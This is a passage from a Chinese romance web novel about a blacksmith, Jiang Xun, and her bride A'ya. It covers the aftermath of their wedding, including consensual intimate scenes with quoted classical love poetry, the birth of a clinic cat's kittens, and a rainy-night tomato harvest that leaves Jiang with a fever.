江志修叫喊声一下卡壳,但又觉得自己父母不可能骗自己,便又喊道:“你们都是一伙儿的!好呀!合起伙来诓骗我!说不定是你爹手没变成这样的时候,写的字据呢!” “那就更不可能了!”江浔声如洪钟,压过江志修,“你先前分明说的是我父母受伤许久未愈,才朝你们家借的五十两白银,这白纸黑字都写着,怎容你胡说!?” 原主父母都是打铁匠,对自己打出来的东西有极高的要求。 一次,他们一起上山找寻石头做磨刀石,却遇见了猛兽,不幸双双负伤。 等他们好不容易下山后,伤口早已感染,怎么都医治不好,最终丧命。 江浔现在用的磨刀石,就是他们带回来的。 她也把原主的记忆来回翻看无数遍,确实没有发现有借别人钱的记忆。 当时她父母情况危急,发热发的都下不了床,怎么可能走那么远,去江家村找人借钱? 江浔一把拎起江志修,跟拎小鸡仔似的,就往外面走。 任凭江志修怎么挣扎,怎么阻止都不受影响。 她道:“你是想让我把那个帮助你们伪造假借据的人找出来?然后一起送进官府!?” “呵,到时你们挨个几十大板,被关进暗无天日的大牢中,是死是活我就管不了了!” 说罢,已经走到打铁铺门外,把人扔了出去! 还把自己开盲盒开到的霉运,全用在江志修身上!让他感受一下惹她的恐怖下场! 霉运一生效,大街上游玩的百姓们见他被扔出来,本来还想接他的,结果全都让开,空出一大片地! 砰! 江志修砸在地上,痛的哎呦哎呦直叫唤,也没有人管他,还都嫌弃得离远了些。 被扔出来的江志修自己一个人在地上蠕动几下,见实在没人来扶他一把,只能自己踉踉跄跄站起身,朝回走。 心中还赌咒发誓一定要让江浔好看! 他摇摇晃晃走到清水镇外,这里停着好几辆牛车,都是等着接游玩后离开的百姓的。 他们要牛车上坐满人,才会出发。 但此时时间尚早,江志修一人在这里等了好久好久,都等不到牛车坐满。 无奈只能怒骂一声后,摇摇晃晃往回走。 他喝了点荔枝酒,酒气上头,身上又酸痛无力,每走一步身体都偏的快要摔地上去。 就这样,他走了有好几里路,被夜风吹得有些清醒之时,突然发现自己走错了! 江志修一下就崩溃了,自己要债不成反被打,没人帮忙不说,牛车也做不成,路还走错了! “啊!!!挨千刀的江浔!老子一定要报复回来!弄死她!” 江志修一边无能狂怒,一边抬脚狠狠踹向路边一块石头! 哪想那石头纹丝不动,反倒是他感觉自己脚趾咔嚓一声,断了! “啊啊啊啊啊啊啊啊!”江志修爆发出更大的尖叫声,捂着自己脚趾在原地蹦跶,“啊啊啊啊啊该死!该死!” 他疼的大脑神经一抽一抽的,怎么都想不明白自己怎么会倒霉成这样,怎么会遇见这些事的! 天太黑,他沉浸在痛苦之中,根本没发现路的两旁是田地。 蹦跳之际,一个没注意,直接从田坎上摔下,摔到水田里去了! 脑袋砸在田里,“咕噜咕噜——”吞几口泥水之后,彻底晕死过去。 要不是口鼻还露在外面,恐怕性命难保- 江浔把人扔出去后就没再管了,回到家中,对来参加喜宴的人都说了抱歉。 她叫人来参加喜宴,大家都高高兴兴的,谁想遇见这事啊? 还是她自己没处理好,要知道大伯父一家都是这种人,她绝对不会让江志修踏进打铁铺一步的。 见江浔道歉,谭婆婆摆摆手,道:“不关你事,是那人有病。我们都吃好喝好了,哪有什么影响,倒是你,大喜的日子,别耽误了正事。” 说完,谭婆婆露出聪明人自会懂的笑容,冲江浔使了好几个眼色,才道:“好了好了,我们大伙赶紧回家吧,一直待在别人家像什么话。” 她率先朝着外面走去,剩下的人也边向江浔阿雅道别,边往外走。 李屠妇道:“良宵一刻值千金,走啰走啰。” 搞了江浔和阿雅两个大红脸。 把所有人都送走,江浔才重新回到院中,坐在板凳上揉着自己太阳穴。 今日一整日还是有些累的,再加上喝了荔枝酒,她都有点恍惚了。 只剩他们两人,阿雅心中也松口气,走到她面前抱住她。 “我们今日都一整日没见了,想我没?” 两人早早就分开各自梳妆,到晚上时才见面,想肯定是想的。 江浔仰起头,眼中出现委屈,看着阿雅道:“刚才那人欺负我,我好可怜。” 雾卷暮色,星河浮霁。 阿雅的手摸摸江浔的脑袋,“没事的,你刚才很厉害很聪明,能立马戳穿对方,没让对方得逞。” “那阿雅喜欢这么厉害的我吗?”江浔环住阿雅的腰,让人坐在自己腿上,脑袋一歪,枕在阿雅肩上。 似乎是在撒娇。 两人就像身上有浆糊似的,没有外人就自发黏在一起,不愿意分开。 阿雅在江浔发顶落下一吻,道:“喜欢,很喜欢,喜欢的不得了,你是我见过最厉害的人了。” “那我要奖励。” 江浔抬起了头,侧过脸,示意阿雅轻自己一下。 可阿雅装作没动的样子,手伸向桌子,拿起蟹酿橙道:“那就奖励江姐姐吃这个吧。” 金黄的橙被去掉顶部,舀出里面的橙肉,填入嫩白蟹肉和亮黄蟹膏。 蟹肉和蟹膏都是炒过的,用的是蟹壳炒出的油加上黄酒、葱姜、橙汁、少许糖和盐炒出的。 用蟹油炒出的蟹肉蟹黄味道会更重一些,但用他们这里的黄酒去腥后,便只剩下蟹和橙的香味儿了。 秋季,许多酒楼都会上这道极为风雅的菜。 做蟹酿橙的时候,两只小鸡还想叨蟹壳,只不过被陈厨子举着菜刀恐吓一番后,都不敢靠近了。 蟹酿橙被举到江浔面前,江浔眼神飘忽一瞬到蟹酿橙上,又很快回过神,望向阿雅。 阿雅见她再次看向自己,才满足她的想法,低下头在江浔侧脸亲了亲。 可惜不够,离开时被江浔探着脑袋含住了唇。 一接触,两人感觉灵魂都在发颤,闷哼与喟叹不自觉发出。 星子与月影之下,她们依偎在一起,索取着对方。 手中蟹酿橙在摇晃,眼见就要从手中脱落出去时,江浔抬手包裹住阿雅的手,同时稳住了要掉的蟹酿橙。 她们十指相扣在一起,唇与唇分开了喘着气看着面前的东西。 勺子舀起里面的蟹肉,入口橙香与蟹鲜结合,微甜醇厚层次丰富的味道在舌尖上跳动。 确实当得起秋季必食的名头。 两人分食完一个蟹酿橙后,对视一眼。 江浔突然把阿雅抱起,朝屋内快步走去。 第52章 快看!!(咆哮!) 屋内亮着宁静又温暖的油灯, 床边挂着的红纱影影绰绰如雾一般,笼罩在两人身上。 江浔从来没有想过自己有天会变成色中饿鬼,会抱着阿雅快步跑到床上,开始脱人家的衣裳。 “别着急, 别动。” 躺在床上的阿雅勾着江浔的脖子, 轻轻往她耳边吹了口气, 又仰起身子亲了一下她的脸。 直接让江浔听话的停顿住动作,呆呆地看着她。 阿雅起身,把江浔按在床上自己则跨坐在她身上。 轻声问道:“我头上的发冠是你送我的?” 她所有头发都盘了上去,头上带着一个金灿灿的素金团冠,不算太大不算太重,也没有多余的纹样。 是江浔偷偷攒了那么多日的私房钱, 唯一能买得起的发冠。 她不想阿雅出嫁时, 头上什么头饰都没有,她也想让阿雅漂漂亮亮、高高兴兴的出嫁。 江浔小心翼翼点头, 漆黑幽深的眼眸意外的显得很纯情。 看着这双眸子, 阿雅时常觉得它和江浔是不匹配的。 江浔为人良善, 还很可爱,应该配双狗狗眸的。现在这双眸子会显得她很深沉, 很不好惹, 似乎在算计很多事一般。 不过有时阿雅又觉得这双深邃的眸子很适合她, 不好惹也是一种卓越的品质。 “谢谢江姐姐了,阿雅很喜欢。” 说着,她缓慢俯下身, 含住江浔的唇, 如同兔子一般润滑的舌尖轻轻舔着,手指也游走到江浔衣绳处, 微微用力就拉开了。 “那江姐姐帮我把发冠取下来,可好?” 两人交叠在一起,青红衣裙散在床上,像一朵正在盛开的花。 江浔抬手取下阿雅头上的发冠,帮她解开束发。 三千青丝垂落,又从肩头滑下,发尾落在江浔耳旁、颈侧,有意无意撩动着她的心弦。 她在帮阿雅取发冠,阿雅就在帮她解衣服。 等她把发冠取下,阿雅都把她的衣服解来只剩里衣了。 江浔眉毛一跳,眼睁睁看着阿雅把自己里衣扯下,脑袋埋上去。 ! 身体颤抖一下,抱住阿雅,倒是也没有阻止她。 阿雅趴在她身上,仰起头,声音放软道:“阿雅也有东西要送给江姐姐。” 她脸颊蹭了两下,才又重新起身,边脱着自己衣服,边在身上找寻着什么。 很快,她也脱来只剩一件红色小衣时,终于拿出那礼物了。 是一根红色发带,上面有金纹,绣着蝙蝠寓意着福。 看到发带的瞬间,江浔脑海里闪过许多弯弯绕绕,呼吸也急促起来,眼一瞬不瞬看着阿雅。 想看对方能干出什么事来。 哪想阿雅单纯,拿出发带居然真的只是为了给她试戴的。 她在她头发上比了比,留下一句,“明天我为江姐姐梳发。”便把发带放到一旁,朝江浔吻了上去! 两人再次吻在一起,却不像之前那般克制,反倒像是要吞噬对方一般,不断汲取着。 她们吻的动情,抱的用力,好似要把对方揉进自己身体中。 江浔没有脱阿雅的小衣,那大红小衣穿在阿雅身上,更显她白皙如玉,肤如凝脂。 若隐若现间更显曼妙。 面对阿雅,江浔定力不强,被轻轻一勾便有些入迷。 粗糙的、有些细茧的手指…… 似乎想掌握主动权。 被香的迷迷糊糊的江浔这才清醒过来,发现阿雅居然、居然想当上面那个??? 她一直以为两人在这事上是一致的,哪想还是有些许误会。 这下,江浔管不了那么多了,一个用力翻身,就把阿雅压在自己身下。 头凑近她,热气喷洒在她的耳朵上,牙齿叼着那耳垂磨了几下,才道:“乖乖,你没我有力,我来。” 阿雅:? 江浔没有控制住阿雅的双手,要是阿雅想,自是能推拒,能扯开发带骂她的。 但是阿雅没有—— 翠蛾懒画妆痕浅,香肌得酒花柔软。粉汗湿吴绫,玉钗敲枕棱。鬓丝云御腻,罗带还重系。含笑出房忧,羞随脸上红。【3】 春旋暖熏炉温斗帐。玉树琼枝,迤逦相偎傍。酒力渐浓春思荡。鸳鸯绣被翻红浪。【1】 将柳腰款摆,花心轻拆,露滴牡丹开。鱼水得和谐,嫩蕊娇香蝶恣采。【2】 无力慵移腕,多娇爱敛躬。汗光珠点点,发乱绿松松。【3】 翠蛾懒画妆痕浅,香肌得酒花柔软。粉汗湿吴绫,玉钗敲枕棱。鬓丝云御腻,罗带还重系。含笑出房忧,羞随脸上红。【3】 第53章 第二日 一番折腾, 红发带又从阿雅唇上移动到手腕上,细白手腕被缚着绑在床栏处。 双腿盘在江浔腰上,只被几根糙糙的手指掌控着。 阿雅小腹发酸发胀,杏眸难丨耐微蹙, 咬唇低泣, 不知过了多久多久, 身体里储存的水分都被榨干,成为落入干旱地带的一尾鱼。 她才被江浔抱住,相拥在泛着湿气的黑夜中,手腕处的发带被解开,绑久了有些酸胀的手腕被江浔拢在手心,轻轻揉着、吹着。 “是我不好。”江浔在阿雅潮丨紅脸蛋上吻了吻。 她到后面就有些上头了, 抱住阿雅白嫩双腿, 湿湿的奶香味儿和花香味儿不断萦绕在她的鼻尖,很快就让她失了理智。 热气弥漫, 晶莹汗珠从额角流下滑过她削尖的下巴, 落在阿雅脸上。 薄雾渐起间, 床帏晃动间,汗珠同阿雅的泪珠融合在一起, 开出微小水花。 “累吗?” 江浔又在阿雅湿润的长睫上吻了吻, 两人身上都黏黏腻腻的, 却还是紧紧相拥在一起、嵌合在一起,汲取* 着对方身上的气息。 阿雅脑袋贴在江浔锁骨处,脸蛋枕在同样柔软的地方, 像是在汹涌大海中找到一片可供栖息的岛屿般, 很舒服很闲适。 她有一瞬间是恍惚的,只能味道江浔身上的香味儿, 是被她蹭上去的。 舌尖悄悄伸出,在江浔锁骨上舔了舔。 她自觉动作很轻,在触碰到的一瞬间就缩回,连什么味道都没尝清呢。 可江浔就是感觉到了,手掌捏在阿雅后颈处,让人仰头接吻。 再次交换气息之后,江浔起身下床烧上水,这才回到床上拥着阿雅想说点小话。 阿雅趁着她出去的功夫,找出自己放好的雪肌膏。 这雪肌膏是阿雅抽空在成亲前出去买的,本也是想着送给江浔,让江浔的手能不被磋磨的那么厉害。 但现在,只能用在她手腕上了。 “给我涂。” 阿雅把泛着红、盈盈不堪一握的腕子递到江浔眼前,雪肌膏置于手心。 “好。” 江浔牵着阿雅的手,细细把那带着药味儿的药膏涂在那皓腕上。 涂好,水也差不多好了,江浔又出去把热水倒入浴桶,兑上凉水,待水温合适后,才把阿雅抱着放入浴桶中。 沐浴,自然是两人一起的。 阿雅手腕涂了药不能动,只能由江浔代劳了。 水声哗啦哗啦如乐曲般响着,阿雅像小小一片水中浮叶被水波裹挟着晃动,只有手臂搭在江浔脖颈上,才能获得一丝喘丨息。 沐浴完,两人才终于可以躺在床上休息。 身下的褥子是湿的也管不了那么多了,拿被子垫一垫,就睡了过去。 忙碌一夜,两人早晨起不来,一觉睡到下午去了。 第54章 下午 下午醒后, 两人什么都不想干,黏黏糊糊前脚撵后脚地贴着走向灶台,热了点昨日剩下的饭菜,囫囵吃饱。 又躺床上去了。 江浔:“谭木匠送了个梳妆柜, 等下我搬来放我们屋子里, 正好你可以用。谭婆婆还额外给我们拿了一篮子鸡蛋和两匹布, 李屠妇给我们带了半扇猪肉和一篮子鸡蛋。陈大夫人没来,但还是送来了好几包草药,说是可以强身健体,补亏空。” 说完,江浔语气停顿,总觉得哪里有些奇怪, 但又说不出。 只能不想了。 阿雅:“好, 那我们晚食时要不要去医馆看看陈大夫?” 陈大夫送了东西,却没来吃饭, 两人总觉得有些过意不去, 至少得过去送点喜糖不是? 江浔点头道:“应该的, 那我们再休息一会儿就去送喜糖,那红枣糯米饭也可以带点, 都挺喜庆的。” 商量好, 两人依偎在一起, 又在算成亲花了多少银子。 一个团冠就把江浔存的一点点私房钱、原主的二十两,以及阿雅给她的十两全部花完。 阿雅那里攒的银子也全部花到成亲上,一点都不剩, 现在两人可谓是两个光棍凑一起, 能不欠银子都是好的。 江浔:“等明日我就努力打铁卖东西,很快就能把银子赚回来。” 阿雅脑袋在江浔怀里蹭了蹭, 安慰道:“不着急,我们又不是真的穷得揭不开锅。” 幸好家里吃食多,不至于立马就让两人饿肚子。 再加上她们只是没银子,又不是没金子。 她的金子可是多多的,拿出去换什么东西都是能换的。 江浔:“那我现在再给你手腕上涂点雪肌膏,你的腕子好看,可不能留疤了。” 阿雅被绑过的腕子很红,倒是不会留疤,就是江浔心疼得紧,怪自己一时昏了头,非要干这些乱七八糟的事。 她亲了亲阿雅的手心,才开始捧着人的手轻柔地上药。 甚至还在想要不要去找陈大夫的时候,顺便拿点膏药? “你别光顾着我,你的手上也涂一点。”阿雅道。 这雪肌膏本来就是给江浔买的,自己全用了算什么事? 她让江浔把雪肌膏涂在手心中,再在她手腕上揉散。 两人亲亲密密的,揉了揉手腕,又十指相扣握来握去,再摸摸小手,面上都有些害羞但心中挺美的。 摸着摸着,两人又滚作一团了。 江浔不敢压阿雅的手腕,只能抱着人不断吻着。 反倒是阿雅不觉得手腕上有什么,只是一点点红,又不痛,哪有那么严重? 她抬手环住江浔的脖子,手腕上用力也没事,只想和江浔贴得更近。 江浔手上涂了东西,想更近一步的话就要去洗手。 可到了现在,阿雅不断在她颈间蹭着,双腿也盘在了她身上。 走? 根本走不了一点! 且不说江浔不想在这个时候离开,只说在这个时候离开就不解风情。 她头埋下,在阿雅脸蛋上亲了亲,又在锁骨上亲了亲。 然后不断往下,連綿山峰、平坦小腹、以及一汪清泉- 橙红艳阳在不断往西边靠近,青石板街上人来人往络绎不绝,偶尔还冒起两声猫叫。 屋子内,冒出细细哼声但很快又被急促的呼吸给掩埋。 江浔偶尔抬头,唇是艳红的,鼻尖也泛着水光,她冲阿雅扬扬眉,眼中含着笑意,换来阿雅泛着潋滟水光的一眼。 被瞪,江浔也没有生气,反倒眼中笑意更深,又埋下头在水源中汲取水份。 直到夜彻底黑下,各家各户炊烟袅袅,饭菜味儿已经飘了满屋后,两人才分开。 各自收拾得人模人样的来到灶台前,热了点东西吃,又把要给陈大夫的红枣糯米饭和喜糖带上。 这才出门,去医馆。 刚进入医馆,就发现里面没人,院中传来各种惊呼声。 仿佛是遇到了什么事。 第55章 生病 两人走进医馆后院, 就看到好些病人围在桂花树旁,正在伸着脑袋看什么。 甚至那些小屋子内躺着不能动的病人,也想强撑着坐起来,凑个热闹。 “我们过去瞧瞧?”江浔看向自己身边的阿雅, 询问她的意见。 阿雅点头, 江浔牵着她的手, 在前面开路,把人安稳带到人群最前方。 两人一起看到陈大夫和小药童正撅着屁股,不知在一垛干草堆前干什么。草堆里时不时传出细密的猫叫声,惹来人群阵阵惊呼。 难道是医馆里养的那只猫出事了? 江浔看向围观的人,担忧地问道:“这位婶子,可是医馆里的狸奴出事了?” 阿雅也跟着她一起看向那位婶子, 想要知道发生了什么事。 那婶子见有人问她, 热心肠道:“嗨呀,是医馆要添新了!福福生崽了!” “要生崽了?!” 这下可把江浔和阿雅两人惊到, 没想到有段日子没来, 医馆的小猫福福就要生崽了。 算算日子, 岂不是上次阿雅在医馆治伤时,福福就已经怀崽了? “是啊, 都生下来两只了, 不过现下福福有些使不上劲儿, 陈大夫担心得不行。你们看吧,陈大夫拿着吃的在哄福福吃点嘞。” 两人仔细看去,还真看见陈大夫手中拿着只碗, 里面装了好几片肉, 正捏着其中一片在喂福福。 口中还苦口婆心劝道:“福福吃点吧,福福你听听话, 吃点吧。” 江浔阿雅两人朝热心婶子道谢后,一同望向陈大夫和小药童的背影,以及隐隐有猫尾巴甩动的草垛,听着那猫叫声,心中有些紧张。 福福对她们来说已经算半个朋友了,阿雅在治伤那段日子里,江浔不在,福福就会从窗户中钻进,趴在桌子上睡觉。 阿雅摸它,它都不会跑,似乎是专门来陪伴阿雅的一样。 暖洋洋柔软如棉花的毛,手感很好,能不知不觉间让阿雅的心情也好点。 福福这只猫通灵性,见医馆里的病人没人陪,它都会去陪陪。 那段日子里,江浔离开时,也会给福福说,让它多陪陪阿雅,多逗阿雅开心。 福福尾巴扫来扫去,原地转个圈之后,会用脑袋去蹭江浔的手,好似答应了江浔似的。 现在想到那么乖巧的小猫,在经历危险的事,两人的心上都被压上一块大石头,手紧紧握在一起,呼吸都不敢太大声,怕吓到福福。 周围气氛逐渐凝固,闲谈声消失,大家无比紧张地关注着福福的情况,希望福福没事。 又过了好一会儿,陈大夫才猛地直起身体,手心中捧着一只闭着眼睛的肉粉色小小猫。 小小猫身上覆盖着一层薄膜,陈大夫弄去后,开始用手帕小心擦去小小猫口鼻处的羊水。 这只小小猫一看就身体不太好的样子,比它先出生的两只猫现在都在嘤嘤嘤叫着,短短四肢撑着身体乱动,尾巴摇摇晃晃。 可它却没什么声音和动作,只是趴在陈大夫手上颤抖着。 陈大夫把它口鼻处羊水擦干净,放回福福身边。一群人一起等了好一会儿,没等到福福再一次生产,陈大夫摸摸福福肚子,觉得应该是生完了,众人才同时放松下来。 脸上露出喜悦的表情。 福福和孩子都平安! 江浔和阿雅两人顿觉心中的大石头被移除,都敢大口大口呼吸了。紧握在一起的手稍微放松,发现相互握得太紧,不仅手心中出了汗,手还红了。 看到自己的手,两人对视一眼,眼中同时出现笑容。 人群逐渐散开,等陈大夫跑来跑去,把草垛上的血打理干净,又给猫猫换了干净的水和食物。 终于可以休息之际,江浔和阿雅才来到陈大夫面前,把手中的东西递了过去。 “陈大夫,之前替阿雅治伤真是辛苦你了,现如今阿雅的脚可比那时好多了,这是给你和小药童的喜糖和吃食。” 陈大夫双手撑在自己僵硬的腰处,左右晃动着,“你们两人可真是有心了,那正好,让我看看阿雅的腿伤恢复的怎么样。” 她让药童收下她们的东西后,净手擦干,让阿雅坐下,抬起阿雅的腿,开始捏着阿雅的脚踝。 阿雅脚踝上有道一指长,像蜈蚣一样的伤疤,陈大夫没有碰到她的伤疤。 仔细捏过后,她脸上露出点欣慰的笑容,“不错,恢复得很好。” “但还是少走路,也不要接触冷水,阴雨天用热布敷于踝处,可缓解疼痛。” “我再给你们拿一罐祛疤膏,虽不能完全去除这道伤痕,但也还算有点用处。” 陈大夫送给她们的东西,都是没收钱的。 左右也不是什么金贵物件,她和江浔阿雅二人也都熟识,不至于为这点东西收钱。 不过这让江浔阿雅二人有些脸红,推拒一番后只能收下。 “那等会儿我就不送了,我要去找到底是哪只天杀的野狸让我家福福怀崽了!” 说到这个,原本衣诀飘飘,颇有救世神医之感的陈大夫撸起袖起,眼睛瞪圆,一副要犯杀孽的模样。 见陈大夫那么生气,江浔想了想,道:“这样,公猫阉杀其雄气,便不能干坏事了。” 这个时代是有阉猫的说法的,不过多用在公猫身上,能使公猫性情温顺,日渐肥硕。 要想阉猫,首先也得抓住那只公猫才行。 陈大夫沉思片刻便道:“好,我这就去抓猫,有多少抓多少,全都阉了!” 他们这里还有阉猫需在室外阉,这样猫就会因为害怕,不敢从室内出去的说法。 但陈大夫要在室内阉,让这些猫不敢再进来找福福! 谈完,江浔才拿着祛疤膏,牵着阿雅的手,离开医馆。 回到自己家中,想着成亲那日剩了那么多菜,这个天气不赶紧吃了会坏。 阿雅便挑了盆大菜,热了后往里面加入水和面条,和江浔一起坐在院中吃着。 菜汤下面,堪称一绝! 两人吃的额头上冒细汗,嘴唇也被辣红,吃完面条喝了好大一盅水,才缓过来。 锅中烧来沐浴的水正好烧好,两人沐浴完,躺在床上,江浔给阿雅脚踝涂完祛疤膏后。 又互相给对方涂着雪肌膏。 亲亲密密好一会儿,才抱在一起酝酿睡意- 接下来一段日子里,江浔努力赚着钱,各种小工具被制作出来开始售卖,大型的、在肉铺上用的切肉器也初具雏形,拿给李屠妇试用。 李屠妇试用后,当场拍手叫绝,说好用得不得了。 以往她卖肉间隙,还要紧赶慢赶挤出时间去给大家切肉、片肉,遇上那种要切丝的更是麻烦。 让对方回去自己切吧,恐会失去一位老主顾。 她给切吧,其他人又催得厉害,生怕她漏了错了。 现在有了切肉器,她就可以不用停顿,只需要把大块的肉扔给自己儿子,让自己儿子在旁边把肉切成丝。 速度快不说,还比她儿子切的好太多,大小长短均匀,让那些人无话可说。 李屠妇肉摊上用上这么个东西后,很快就引起其他肉铺肉摊,甚至酒楼的注意。 打听清楚后,纷纷来找江浔定制。 这一下又让江浔赚了不少银子,原本因为成亲变得瘪瘪的钱包,又鼓了起来。 当然,钱都是阿雅在保管,每月按时给江浔一些零用钱,哄得江浔乐呵呵的,白天夜里都无比卖力。 干劲儿满满。 在江浔赚钱时,阿雅也没有闲着,紧锣密鼓开始筹备下一本话本子了。 她的《女驸马与公主》听李屠妇赘夫说,卖得很好,很多深闺小姐、市井女子都喜欢。 似乎还成了她们近段时日中,必不可少的闲谈话题。 李屠妇赘夫来送每月分红银钱时,还特意嘱咐说:“阿雅姑娘,你可要想一个俗称、俗号了。” 有了一个称呼,那大家都会知道这些话本子是谁谁谁写的,是什么风格,好看与否。 要是名气再大点,她一出新的话本子,很多人会不管三七二十一先买了再说。 李屠妇的赘夫也很想阿雅达到这种效果,阿雅写的东西还有些稚嫩,但稚嫩中包含的美好,正是好多姑娘女子正在寻求的东西。 只要她能一直保持下去,不难获得大家的喜欢。 江浔和阿雅两人都有自己要忙的事,每一日都过得很充实。 种到地里的番椒苗长出来很高一截儿,许是味道有点怪异,很少长虫子,两只小鸡也不愿意靠近。 倒是番柿早已硕果累累,一颗颗红色坠在藤条上,像琉璃宝石般好看。 因着有小鸡们帮忙抓虫,完好长大的番柿数不胜数,收成很好。 是时候找个时间摘取了。 阿雅同江浔说了这件事后,江浔算算自己的时间,觉得第二日早晨可以不开铺子门,专心收取番柿。 下午再开铺子门。 哪想人算不如天算,当天夜里就开始刮起大风,下起暴雨。 这是立秋后第一次下雨,这场雨下完,天气就会冷下来。 代表暑季过去,秋季到来。 她们所生活的这个地方秋季很短,只要一进入秋季,气温就会迅速变冷,和直接跨入冬季也没什么区别了。 要是今夜不赶紧把番柿摘下来,恐怕那些挂在枝头的番柿全都会被暴雨打落。 到时候变得坑坑洼洼、烂糟糟的,就卖不出去了。 自己吃也吃不了那么多,只能任由那些番柿腐烂坏掉。 可惜又心疼。 被狂风与暴雨吵醒的江浔,温柔把阿雅环在自己腰上的手臂拿开后,翻身坐起,披起衣服就朝外走。 走进雨幕中,雨噼里啪啦大到砸在脸上生疼,再加上天黑看不清院子内的东西,她只能摸索着向前走。 衣服瞬间被打湿,又湿又沉挂在身上,索性她也不再披衣服,把衣服往旁边一甩,就拿起背篓和剪刀,来到田地旁。 篱笆里关着的两只小鸡早就自己扑腾着翅膀,又跳又飞地跑出篱笆,躲到屋檐下。 两只小鸡这段时间吃得好睡得好,长得很快,几乎是一天一个模样。身上的绒毛全部消失不见,变成褐色羽毛,爪子很大,跳到椅背上都能稳稳抓住。喙也很尖利,在地上一啄一个坑。 前段时间阿雅拿秤称了一下,发现两只鸡都有一斤多了。 按照这个进度下去,要不了多久,它们就可以开始下蛋了。 江浔站在田地旁一颗一颗剪着番柿,遇到长得太近的番柿,还会一整串剪下来。 她管不了那么多,抢时间才是最要紧的,置于番柿藤能不能活下来,那都是后话。 剪下来的番柿被她一颗颗整整齐齐码在背篓里,动作很是轻柔,怕番柿磕了碰了。 她动作很快,不到一刻钟,一株番柿藤上的番柿就被她剪了大半,背篓中也堆了起来。 她双臂用力拎起背篓,把背篓抬到西屋。 迅速把背篓里的番柿拿出来,暂时堆放在西屋内,又继续回到雨幕之中。 来回几趟,夜风吹得越来越大,江浔身上也越来越冷,鸡皮疙瘩顺着手臂爬上后背,让她打了几个喷嚏。 打完喷嚏后,她佝偻着身体,顶着雨搓了几下自己的手臂。 秋雨果然恐怖,一下下来,气温立马就降了。 白日还热得不行,扇着蒲扇都出汗,晚上就需要多穿几件衣服才抗冻了。 江浔没有管自己的寒冷,打算咬牙坚持,等收完所有的番柿,再洗个热水澡喝碗姜汤,应该能压下身体中的寒气。 她在抢收番柿时,狂风吹倒好些东西,把阿雅吵醒。 醒后的阿雅发现江浔不在身边,心中有一瞬得怔愣和惊慌,但随后又反应过来自己所经历的一切不是梦,江浔也是真实存在的人,不是她的幻想。 她坐在床上等了好一会儿,也没等到江浔回来,才披上衣服下床,准备去找人。 脚踝果然如陈大夫说的一样,阴冷天就开始隐隐作痛。 她忍着脚踝的疼感,走到屋外,本来还没发现,眯着眼仔细看才发现下着大雨的漆黑院中,有个人在走来走去。 那身影一看就是江浔。 “浔姐姐!浔姐姐!”阿雅清脆微甜的声音响起,自从上次被叫乖乖后,她也不叫江浔江姐姐了,而是改叫浔姐姐。 叫了几声,见江浔没有反应,似乎是没听到,阿雅紧了紧自己的衣服,准备走进雨幕,去到江浔身边。 就在她脚要踩进冰凉雨水中时。 江浔若有所感,蓦然回头,看向她。 凌乱如珠帘晃动的雨幕间,阿雅其实看不清江浔的面容,也不知江浔在想什么。 但不自觉的,她就是觉得江浔在生气。 气她不爱惜自己的身体,气她什么都不顾,居然想走进雨幕之中。 阿雅心跳漏了一拍,飞快收回自己的脚,还往屋檐下走了几步,表示自己很乖,不会淋雨的。 见阿雅回去,江浔才收回视线,弯腰把装了大半的背篓提起,走向她。 浓夜中两人无言,江浔带着阿雅到西屋,才开口道:“来吧,帮我把番柿拿出来。” 江浔知道阿雅肯定不可能看她一个人在忙,而什么都不做的,所以只能让阿雅帮她一些不会受伤或生病的事。 说完这句话,江浔把背篓放在这里,让阿雅帮忙,自己又去拿了个木桶装番柿。 只不过木桶不漏水,往往番柿还没装到几个呢,水就装满了。 她只能时不时把水倒掉,再继续装着。 木桶装满后,提到西屋,这时阿雅也差不多把背篓里的番柿全部捡出来放好了。江浔就放下木桶,又拎起背篓朝回走。 看着她离开的背影,阿雅嘴张了张,想叫人停下。 想对江浔说要不算了吧,番柿要坏就等它们坏,不用这么累淋着雨去收,大不了下次再种。 但看着江浔那么努力,她又说不出话了。 就像江浔不想让她淋雨般,她也知道江浔这样冒着雨是为谁。 是为她。 因为番柿是她照顾着一点一点长大的,所以江浔也不想番柿全坏了,也想能收一点是一点。 两人没有交流,只是听着满耳朵嘈杂的雨声,沉默着忙着各自的活。 好不容易收完番柿,江浔又开始想办法保护其他菜不被大雨弄坏,而阿雅则一瘸一拐沿着屋檐走到灶台旁。 开始烧热水给江浔沐浴,又切着姜片,拿了几颗红枣、枸杞丢进药罐中,开始熬着姜汤。 怕江浔觉得苦、辣,阿雅还切了一大块红糖放进去熬。 不一会儿那汤色就变成褐红模样,咕噜咕噜冒着热气。 田地旁,江浔也没有什么好办法保护住其他菜,只能拿着凳子、盆子、桶这一类的东西,罩在番椒苗上,为番椒苗挡雨。 剩下的就只能让它们自求多福了。 做完这些,她快步走到屋檐下,接过阿雅递来的帕子,在身上擦着。 “浔姐姐,你快去烫下身子,别感冒了。”阿雅有些担忧地看向江浔,看她这副落汤鸡的模样,心疼极了,“水和衣服我已经放好了,快去吧。” 她力气没有江浔那么大,但用盆子端着热水倒入浴桶里,还是做得到的。 江浔走进西屋,大步迈过满地番柿后,来到浴桶旁,快速脱掉自己湿漉漉的衣服,进入热气腾腾的水中。 “呼——” 她呼出一口气,浑身放松下来,秋雨带来的寒气已经刺入骨髓之中,让她泡了许久,快在浴桶之中睡着时。 才觉得好一点。 皮肤被烫红,从水中出来,又立马被冷气侵袭,激起浑身上下的鸡皮疙瘩。 她打了个寒颤,把阿雅给她准备的衣服穿在身上,才觉得好点。 走出西屋,阿雅就把姜汤递了上来,守着江浔喝下两大碗,才算满意。 “浔姐姐饿了没?我给你做点东西吃?” 暴雨还没有停,天黑沉沉的,让两人根本不知道现在是什么时辰了。 江浔不怎么饿,只是有点困,便道:“不吃了,我想去再睡会儿。你也睡会儿吧,大半夜起来陪我忙了那么久,天亮后迟点起。” 见她想睡觉,阿雅也没有强求,跟着回到房内,窝进江浔怀中嵌合着抱在一起。 江浔几乎是秒睡,眼睛一闭上就失去了意识,身体沉沉,脑袋晕晕- 阿雅睡着前觉得自己有些冷飕飕的,但睡醒后又觉得自己热得不行,汗珠似乎都在背上流淌。 她被热醒了。 艰难睁开双眼后,她发现自己正被一个大火炉紧紧抱住,想挣脱都有些困难。 江浔发热了! 阿雅被吓到,圆圆的眼睛瞪大,咬着下唇一骨碌坐起身,开始轻晃着江浔的身体,问道:“浔姐姐,浔姐姐,醒醒,醒醒。” “你还好吗?你觉得怎么样?能听见我说话吗?浔姐姐?” 阿雅的眼眶红了一圈,眼泪涌到眼眶边缘,又被她忍住,欲落不落。 